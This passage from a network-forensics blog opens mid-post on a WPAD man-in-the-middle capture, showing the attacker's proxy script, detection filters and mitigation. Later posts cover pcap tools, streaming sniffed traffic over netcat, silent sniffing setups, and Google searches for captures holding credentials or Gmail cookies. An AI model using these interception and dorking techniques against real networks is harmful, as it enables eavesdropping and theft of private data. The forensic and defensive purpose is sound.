  • Flow #4 – The attacker ( responds to the broadcast message, saying that he is "WPAD".
    Note that the spoofed NBNS response is sent from UDP port 1337, which is a typical indicator of Metasploit's "nbns_response.rb" being used.
  • Flow #5 – The victim downloads wpad.dat from the attacker
  • Flow #6 – The victim tries to access via the attacker's web proxy on TCP 8080

The details shown in this timeline can be found by loading WPAD.pcap into NetworkMiner:

NetworkMiner 1.3 hosts tab

The "Host Details" section of the victim ( show that he has queried for the NetBIOS name "WPAD" and DNS name "wpad".

The attackers machine ( seems to have multiple hostnames, where one is WPAD. The other hostnames stem from the fact that the attacker's web proxy claims to be "" or any other web server the victim tries to access. We can also see in the "Host Details" secion that the web proxy on TCP 8080 has multiple web server banners. Hosts that show up in NetworkMiner as having many hostnames and server banners are typically web proxies.

NetworkMiner 1.3 Files tab

The files tab in NetworkMiner shows that the downloaded wpad.dat has been extracted and reassembled from the pcap file. The contents of the reassembled file look like this:

function FindProxyForURL(url, host) {
  // URLs within this network are accessed directly
  if (isInNet(host, "", ""))
    return "DIRECT";
  return "PROXY; DIRECT";

WPAD announcements in DHCP, DNS or NetBIOS can also be found by using the following Wireshark display filter:

"bootp.option.type eq 252 or eq wpad or nbns contains 46:48:46:41:45:42:45:45"

Running tshark on my WPAD.pcap with the filter above gives me this output:

tshark -r WPAD.pcap -R "bootp.option.type eq 252 or eq wpad or nbns contains 46:48:46:41:45:42:45:45"
4 181.811702 -> DNS Standard query A wpad
5 181.812903 -> DNS Standard query response
6 181.813790 -> NBNS Name query NB WPAD.<00>
7 181.867980 -> NBNS Name query response NB

Mitigating WPAD MITM - Disable WPAD

A simple way to avoid falling victim to a WPAD attack is to disable Web Proxy Auto Discovery in Windows by disabling the "Automatically detect settings" checkbox in the "LAN settings" window.

Windows WPAD configuration

UPDATE 2016-06-10

In Windows 10 this feature is located in the Proxy settings window.

WPAD setting in Windows 10

UPDATE 2016-05-31

mrhinkydink pointed out on Reddit that you will also need to to disable WinHttpAutoProxySvc, which runs as Local Service.

WinHTTP Web Proxy Auto-Discovery Service (WPAD)

Here's the description of WinHttpAutoProxySvc:

WinHTTP implements the client HTTP stack and provides developers with a Win32 API and COM Automation component for sending HTTP requests and receiving responses. In addition, WinHTTP provides support for auto-discovering a proxy configuration via its implementation of the Web Proxy Auto-Discovery (WPAD) protocol.

Posted by Erik Hjelmvik on Tuesday, 17 July 2012 19:51:00 (UTC/GMT)

Tags: #MITM #Forensics #PCAP #Network

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Extracting DNS queries

There was recently a question on the Wireshark users mailing list about “how to get the query name from a dns request packet with tshark”. This is a problem that many network analysts run into, so I decided to write a blog post instead of just replying to the mailing list.

Note: the pcap file used in this blog post is from the DFRWS 2009 Challenge.

Who queried for a particular domain?

Tshark can easily be used in order to determine who queried for a particular domain, such as, by using the following command:

tshark -r nssal-capture-1.pcap -T fields -e ip.src -e -R "dns.flags.response eq 0 and contains"

List all queries

A list of ALL queries can be built with the same command, but without filtering on a particular domain:

tshark -r nssal-capture-1.pcap -T fields -e ip.src -e -R "dns.flags.response eq 0"

DNS lists in NetworkMiner

There is a DNS tab in NetworkMiner, which displays a nice list of all DNS queries and responses in a pcap file. Loading the same nssal-capture-1.pcap into NetworkMiner generates the following list:

DNS tab with nssal-capture-1.pcap loaded

NetworkMiner Professional also has the ability to export this data to a CSV file. The command line tool NetworkMinerCLI can also generate such a CSV file without a GUI, which is perfect if you wanna integrate it in a customized script.

Posted by Erik Hjelmvik on Sunday, 17 June 2012 17:45:00 (UTC/GMT)

Tags: #domain #tshark #pcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader Video Tutorial

CapLoader Logo

Below is a short video tutorial showing some of the cool features in CapLoader 1.0.

The functionality showed in the video includes:

  • Loading multiple pcap files into a single flow view
  • Port Independent Protocol Identification (PIPI)
  • Fast extraction of packets related to one or several flows
  • Exporting packets to Wireshark and NetworkMiner
  • Drag-and-dropping packets to Wireshark
  • Selecting a flow based on an IDS alert from Snort
  • Extracting packets from a selected flow to a new pcap file

The video can also be seen on YouTube at the following URI:

The three pcap files loaded in the video tutorial are from the DFRWS 2009 Challenge.


Posted by Erik Hjelmvik on Monday, 30 April 2012 14:35:00 (UTC/GMT)

Tags: #CapLoader #Video #Pcap #Wireshark #NetworkMiner #Flow #TCP #Extract #Fast

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Fast analysis of large pcap files with CapLoader

CapLoader Logo

Are you working with large pcap files and need to see the “whole picture” while still being able to quickly drill down to individual packets for a TCP or UDP flow? Then this is your lucky day, since we at Netresec are releasing our new tool CapLoader today!

Here are the main features of CapLoader:

  • Fast loading of multi-gigabyte PCAP files (1 GB loads in less than 2 minutes on a standard PC and even faster on multi-core machines).
  • GUI presentation of all TCP and UDP flows in the loaded PCAP files.
  • Automatic identification of application layer protocols without relying on port numbers.
  • Extremely fast drill-down functionality to open packets from one or multiple selected flows.
  • Possibility to export packets from selected flows to a new PCAP file or directly open them in external tools like Wireshark and NetworkMiner.

CapLoader identifying Rootkit SSH backdoor on TCP 5001
CapLoader with files from Honeynet SOTM 28 loaded. The application layer protocol from the rootkit backdoor on TCP 5001 is automatically identified as "SSH".

The typical process of working with CapLoader is:

  1. Open one or multiple pcap files, typically by drag-and-dropping them onto the CapLoader GUI.
    CapLoader loading a pcap file with drag-and-drop
  2. Mark the flows of interest.
    CapLoader selecting flows / sessions
  3. Double click the PCAP icon to open the selected sessions in your default pcap parser (typically Wireshark) or better yet, do drag-and-drop from the PCAP icon to your favorite packet analyzer.
    CapLoader exporting packets to NetworkMiner

In short, CapLoader will significantly speed up the analysis process of large network captures while also empowering analysts with a unique protocol identification ability. We at Netresec see CapLoader as the perfect tool for everyone who want to perform analysis on “big data” network captures.

More information about CapLoader is available on

Posted by Erik Hjelmvik on Monday, 02 April 2012 19:55:00 (UTC/GMT)

Tags: #Netresec #CapLoader #Fast #Big Data #PCAP #Flow

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Automatic Flushing in RawCap

Decorative toilet seat

The “-f” switch can now be used to force RawCap to immediately flush sniffed packets to disk.

I've received multiple emails from RawCap users who run into problems when they want to look at a pcap file from RawCap without terminating the program. What usually happens in this case is that the output pcap file will be empty until they terminate RawCap with “Ctrl-C”. The reason for this is that RawCap has a 1MB data buffer, which is used in order to maximize performance by reducing unnecessary disk operations. RawCap will therefore not write any data to disk until it is terminated or has filled the buffer with 1MB of network traffic.

We've now released a new version ( of RawCap in order to solve the needs of these users. The new version supports WriteThrough, which forces the data to be written directly to disk without being buffered. The automatic flushing functionality is enabled by supplying the “-f” switch from the command line when launching RawCap.

There is, however, one downside with the new version of RawCap; the size of RawCap.exe has increased from 17kB to 18kB. Sorry for that fellow minimalists... ;)

Here is an example command showing how to sniff traffic from localhost with automatic flushing (i.e. no buffer):

RawCap.exe -f LiveLoopback.pcap

Happy live sniffing!

Posted by Erik Hjelmvik on Sunday, 23 October 2011 16:24:00 (UTC/GMT)

Tags: #Netresec #RawCap #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Pcap-over-IP in NetworkMiner

Pcap over IP network protocol stack

Version 1.1 of NetworkMiner is soon to be released by us at Netresec. I would therefore like to give you a sneak preview of a simple yet very useful feature that we've added. We call this new feature “Pcap-over-IP”, which is a name originally coined by Packet Forensics.

With Pcap-over-IP you can have NetworkMiner read a pcap file (or libpcap formatted data in general) or over a TCP socket instead of getting it via the file system. The easiest way to send a pcap file over a TCP socket is to pipe a pcap file to netcat like this:

# cat sniffed.pcap | nc 57012

In this example I'd be running NetworkMiner on a PC with IP and have Pcap‑over‑IP listening to TCP port 57012. NetworkMiner will save the received packets to disk as well as parse and display the contents of the packets in the GUI when receiving the Pcap‑over‑IP stream.

NetworkMiner receiving Pcap-over-IP data

Pcap-over-IP also allows me to do live network sniffing with dumpcap from my local Windows machine and pipe the captured packets to NetworkMiner via a TCP socket, using Netcat for Windows like this:

C:\Program Files\Wireshark>dumpcap -i 4 -P -w - | C:\Tools\Netcat\nc.exe 57012

Note that the “-w -” switch tells dumpcap to push the raw libpcap formated data to standard output (stdout) rather than saving it to a pcap file.

The reason for using dumcap to perform the live sniffing rather than using the built in packet capturing functionality of NetworkMiner is that dumpcap is an extremely reliably tool when it comes to capturing packets. So by sniffing with dumpcap instead of NetworkMiner you minimize the risk of dropping some packets.

I can also use Pcap-over-IP to capture network traffic from a remote PC or device. I can, for example use tcpdump to sniff traffic on the external interface of my Linux-based firewall and push it to an analyst station like this:

# tcpdump -i eth1 -s 0 -U -w - | nc 57012

I can also perform remote WiFi sniffing with dumpcap or tcpdump from a Linux machine and send the sniffed packets to NetworkMiner with netcat like this:

# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 4
# dumpcap -i wlan0 -P -w - | nc 57012

It is even possible to receive multiple PCAP streams simultaneously with NetworkMiner. This way I could have 14 dumpcap or tcpdump processes sniffing each individual IEEE 802.11 channel, while monitoring all the captured traffic in real-time with a single instance of NetworkMiner. However, note that this would require 14 sniffer computers or a single sniffer machine with 14 WiFi cards.

SSL encryption

Don't like sending your pcap files in cleartext over the network? That's just fine, we've also implemented support for SSL/TLS encryption in NetworkMiner. You can use the great multipurpose relay tool socat to read your pcap file and have it encrypted with SSL while transiting the network like this:

# socat GOPEN:sniffed.pcap SSL:,verify=0

You can also use socat when doing live sniffing like this:

# tcpdump -i br0 -s 0 -U -w - | socat - SSL:,verify=0

Warning: Always make sure you don't sniff your own Pcap-over-IP stream when sending packets to NetworkMiner. You will otherwise construct a feedback loop, which will fill up the tubes. If you need to sniff the same interface as you are using to perform the Pcap‑over‑IP transfer, then make sure to use BPF to filter out the port number used for your Pcap‑over‑IP transfer like this:

# tcpdump -i ppp0 -U -w - not port 57012 | nc 57012

UPDATE June 16, 2014

With the release of NetworkMiner 1.6 we've made the PCAP‑over‑IP functionality available in the free open source edition of NetworkMiner. We have also integrated PCAP‑over‑IP into NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional.

Posted by Erik Hjelmvik on Wednesday, 07 September 2011 09:22:00 (UTC/GMT)

Tags: #Netresec #Pcap-over-IP #Pcap #tcpdump #dumpcap #TCP #SSL #TLS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Find PCAP files with Google

Perlan, Reykjavik, Iceland by Vestman

We at Netresec maintain a list showing where pcap files can be found on the Internet. Some pcap repositories in this list, like Pcapr and have quite extensive lists of pcap files with indexed meta data about what protocols each pcap file contains.

However, sometimes I find my self in need of traffic from some particular application or protocol, which I'm not able to generate myself. These are situations when I turn to Google for answers. In the spirit of “Google hacking” you can use keywords like “filetype:pcap” or “ext:pcap” to find pcap files. You can also add the letter í (notice the acute accent) to the search query in order to remove some non-pcap files from the search results. The reason why this works is because Google interpret a part of the PCAP file header fields as the letter í. It is also usually a good idea to further limit your search by adding some data specific for the traffic you're looking for into the search query.

You can, for example, use this query to find SMTP traffic (VXNlcm5hbWU6 is 'Username:' Base64 encoded):

í VXNlcm5hbWU6 ext:pcap

You can find Gmail traffic with (notice the use of the gmailchat cookie):

í gmailchat ext:cap

SMB / CIFS traffic can be found with:

í SMB ext:pcap

I think you get the hang of this now...

Happy Googling!

Posted by Erik Hjelmvik on Sunday, 17 July 2011 09:31:00 (UTC/GMT)

Tags: #PCAP #Google

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Split or filter your PCAP files with SplitCap

SplitCap Hatchet

I've released version 1.6 of a tool called SplitCap today. SplitCap is a really fast PCAP file splitter, which can be used to split large pcap files based on for example IP addresses or sessions. You can also use SplitCap in order to filter out traffic to/from specific IP addresses or port numbers from a large pcap file.

The best thing about SplitCap is that it is FAST, much faster than the alternatives.

Split frames in a PCAP file into one file per IP

The -s switch can be used with arguments flow, host, hostpair or nosplit and tells SplitCap how the frames should be separated into the output pcap files.

SplitCap.exe -r huge.pcap -s host
When running the command above SplitCap creates a directory called "huge.pcap" and fills it with lots of pcap files -- one pcap file per identified IP-address (i.e. host). The generated files are named according to the IP address they contain traffic for. Here is how the files from huge.pcap are named:

Split frames based on session

What I believe is a unique feature of SplitCap is the ability to split a pcap file based on session, i.e. the frames from each TCP or UDP session are placed in a separate pcap file. The session split mode is the default one, but you can also use the -s session argument to tell SplitCap to use the session split mode.

SplitCap.exe -r huge.pcap -s session
The generated files get names describing the 5-tuple (proto, src_ip, src_port, dst_ip, dst_port) for which they contain traffic. Here is an example showing how the files can be named:
Note that the session parameter tells SplitCap to join frames going both to and from the server into the same pcap file. If you instead wanna separate the two directions into separate pcap files, then you can use the -s flow switch.

Filter PCAP file on IP address

You can filter a pcap file based on address with the -ip switch like this:

SplitCap.exe -r huge.pcap -ip -s nosplit
The -s nosplit argument is used to tell SplitCap not to split the pcap into one file per session. The generated file "huge.pcap.NoSplit.pcap" will only contain frames going to or from the IP address You can also specify multiple IP addresses if you are interested in traffic to/from more than one IP address:
SplitCap.exe -r huge.pcap -ip -ip -s nosplit

Filter PCAP file on port number

What if you are only interested in DNS (UDP+TCP 53) and HTTP (TCP 80) traffic in a PCAP file? Well, then you can specify these port numbers as arguments to SplitCap like this:

SplitCap.exe -r huge.pcap -port 53 -port 80 -s nosplit
This command creates a file named "huge.pcap.NoSplit.pcap" that only contains the frames going to or from ports 53 and 80.

Extract application layer (L7) contents

A pretty cool thing with SplitCap is the ability to extract application (i.e. layer 7) data from a pcap file with the -y L7 argument. I'll use the file "dump.eth0.1059726000.pcap" from Defcon 11 here to demonstrate how to extract layer 7 payload from SMTP (TCP 25) traffic to files (one per session).

SplitCap.exe -r dump.eth0.1059726000.pcap -s session -port 25 -y L7
This command creates 10 files with a ".bin" file extention in the output directory. Each such bin file contains the application layer data for both directions (server->client and vice versa) from an SMTP session.

One of the generated SMTP session files is called "dump.eth0.1059726000.pcap.TCP_64-48-248-30_25_192-168-17-79_33443.bin" and looks something like this (I've redacted some of the contents):

250 ok
250 ok
354 go ahead
Reply-To: <[REDACTED]>
Subject: RE: Just checking in
Date: Fri, 1 Aug 2003 16:28:25 -0400
Message-ID: [REDACTED]
MIME-Version: 1.0
Content-Type: multipart/alternative;
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
In-Reply-To: [REDACTED]

This is a multi-part message in MIME format.

Content-Type: text/plain;
Content-Transfer-Encoding: 7bit

i am going to gulfport mississippi for the story. am in las vegas now. will
be in mississippi on sunday.
the guy who is really good on this and helped me actually was [REDACTED]
from uspirg. he put me in contact with a whistle blower.

-----Original Message-----
Sent: Friday, August 01, 2003 4:17 PM
Subject: Just checking in

I wanted to make sure you are getting everything you need from us and to
check in on the story. Let me know if/when you want to sit down with
[REDACTED] on this. Hope all is well, [REDACTED]

SplitCap is FAST, really FAST!

So how fast is SplitCap at splitting or filtering a pcap file? Let's do a simple benchmark and compare it to the well known tool Tshark. Again, lets use the 189 MB file "dump.eth0.1059726000.pcap" from Defcon 11 for this example.

Filtering the file based on IP with Tshark takes 50 seconds (4 MB/s).

tshark.exe -r dump.eth0.1059726000.pcap -R "ip.addr eq" -w defcon11_tshark_filtered.pcap
Performing an equivalent filtering with SplitCap takes 3 seconds (63 MB/s). That is 16 times faster than running Tshark!
SplitCap.exe -r dump.eth0.1059726000.pcap -ip -s nosplit

You can read more about other command line tools from Netresec in the following posts:

SplitCap can be downloaded from here:

Posted by Erik Hjelmvik on Sunday, 08 May 2011 17:41:00 (UTC/GMT)

Tags: #Netresec #pcap #filter

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

PCAP is now a valid MIME type

Samy Molcho 1960

The libpcap packet dump format used by applications like tcpdump, Wireshark, NetworkMiner, RawCap, Argus and many others is now a valid MIME type.

The guy behind this effort is Glen Turner, who has done a great job writing the pcap MIME type application. This application was accepted by IANA on March 31 this year and is now published at

Your UNIX-type OS is probably not yet supporting this MIME type, but why not give it a try? This is what it looks like when I grep for pcap in /etc/mime.types of an Ubuntu machine:

erik@ubuntu:~$ grep pcap /etc/mime.types
application/cap          cap pcap

This is not the new MIME type, it's an old not-so-good type from the Debian project. Gerald Combs (yes, the Wireshark guy) has submitted a bug report to Debian requesting for this old MIME type to be replaced with the new “application/vnd.tcpdump.pcap” one. When this is implemented I believe the same command above would look something like this:

erik@ubuntu:~$ grep pcap /etc/mime.types
application/vnd.tcpdump.pcap          pcap cap

Standardizing the PCAP file format

The MIME type definition for vnd.tcpdump.pcap does contain a very short description of the pcap file format. There is, for example, a brief explanation of the PCAP magic number 0xa1b2c3d4 (or 0xd4c3b2a1), which is used in order to figure out if the pcap is written in big-endian (a.k.a. network byte order) or little-endian byte order. I was, however, hoping the MIME type definition would contain a much more complete definition of the pcap file format than so.

The best available description of the pcap file currently available is in my opinion the Libpcap File Format entry at the Wireshark Wiki. This description is pretty well written, but I would prefer to see it published as an IETF RFC or as part of the IANA MIME type definition. But I suppose the registration of PCAP as a MIME type is a first step towards having the PCAP file format standardized...

Update (November 2012)

The website is a free online service for converting files from the Pcap-NG format into PCAP files. This website serves the converted PCAP files using the "application/vnd.tcpdump.pcap" MIME type as Content-Type.

Posted by Erik Hjelmvik on Tuesday, 26 April 2011 19:33:00 (UTC/GMT)

Tags: #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Sniffing Tutorial part 2 - Dumping Network Traffic to Disk

disk II

This blog post is the second part of a two-part tutorial that shows how to sniff network traffic. The first part covered how to intercept the traffic, i.e. how to get the packets to arrive to your network card. This second part covers how to best capture the network traffic to disk once you've managed to have them sent to your network card.

The first thing I recommend you to do before you start sniffing is to ensure that your sniffer computer stays quiet, so that you don't pollute the sniffed traffic with packets from your sniffer computer. How to do this varies between Windows, Linux and FreeBSD, so I will briefly cover how to silence all three OS's.

Silencing Windows

Windows is normally quite chatty on the network, but there is a simple trick that makes it shut up without disconnecting it from the network. Simply bring up the properties window for your network adapter and un-check all clients, services and protocols from the list of used items.

Local Area Connection Properties

Silencing Linux

I don't know any good way to disable the TCP/IP stack in Linux similar to what we just did to Windows. But by disabling ARP and not giving the interface any IP address the risk of leaking packets can be reduced significantly. To achieve this you'll also need to set the interface to promiscuous mode and disable IPv6. Here's an example of how this can be done in Debian/Ubuntu:

# ifconfig eth0 -arp up
# ifconfig eth0 promisc
# ip addr del dev eth0
# ifconfig eth0 del fe80::1234:ddff:fe3f:1337/64
However, in general it is better to configure the sniffer interface by modifying /etc/network/interfaces to look as follows:
auto eth0
  iface eth0 inet manual
  up ifconfig $IFACE -arp up
  up ip link set $IFACE promisc on
  down ip link set $IFACE promisc off
  down ifconfig $IFACE down

For more details on shuting up your Linux machine I suggest you take a look at the “Undetectable Sniffing On Ethernet” blog post on the Ask Apache blog. I also recommend reading the Ubuntu instructions at the NetworkConfiguration wiki page for Security Onion.

Silencing FreeBSD

One of the many great things about FreeBSD is that it is really easy to configure a network interface to be silent. All you need to do is to issue this single command:

# ifconfig em0 monitor up

Read Richard Bejtlich's blog post “Ifconfig Monitor Option” for more info about this command.

Sniff with dumpcap

The most common software used for sniffing traffic is undoubtedly Wireshark, other common tools are tshark and tcpdump. All these three tools parse the packets as they come in and show data about the sniffed packets in the GUI or on the command line. This isn't desirable when doing network forensics since these application could use up too much resources on parsing the incoming packets, which during traffic peaks can lead to packets being dropped. There might also be bugs in the packet parsing code that can cause the application to crash completely, there have been plenty of such bugs in Wireshark for example.

A much more reliable way to sniff traffic is therefore to use an application that is designed to reliably dump traffic to disk, without trying to parse or analyze the contents of the sniffed frames. One such application is dumpcap, which is a command line tool developed by the Wireshark crew. In fact, as of version 1.4.0 of Wireshark both tshark and Wireshark run dumpcap in the background rather than doing the sniffing themselves. Another great thing about dumpcap is that it is available on Windows as well as on Linux and FreeBSD. My recommendation is to run it under FreeBSD since I consider it to be more reliable than the other operating systems. In order to get dumcap you need to download either Wirehsark or tshark since dumpcap doesn't have an installation package of its own.

Dumpcap supports capture filtering with BPF, but I recommend that you sniff ALL packets if you are authorized to do so and have enough disk space. It is much better to do the filtering later on in the analysis phase. The feature I like best in dumpcap is the ring buffer functionality, where it will continue writing incoming frames to a new pcap file once the old one has reached a specific size limit. In order to have dumpcap write sniffed frames to disk and roll over to a new file when it reaches 100.000 kB you'd run this command:

# dumpcap -i em0 -w wiretap.pcap -b filesize:100000

When you've dumped the traffic to disk is when the fun starts, i.e. analyzing the pcap files. You can read more analyzing pcap files in my blog posts about the TCP/IP Weapons School Sample Lab, DFRWS 2009 Challenge, Webmail Information Leakage and Command-line forensics.

Posted by Erik Hjelmvik on Friday, 11 March 2011 16:56:00 (UTC/GMT)

Tags: #dumpcap #Wireshark #tshark #dump #pcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:


NETRESEC on Twitter

Follow @netresec on twitter:


Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)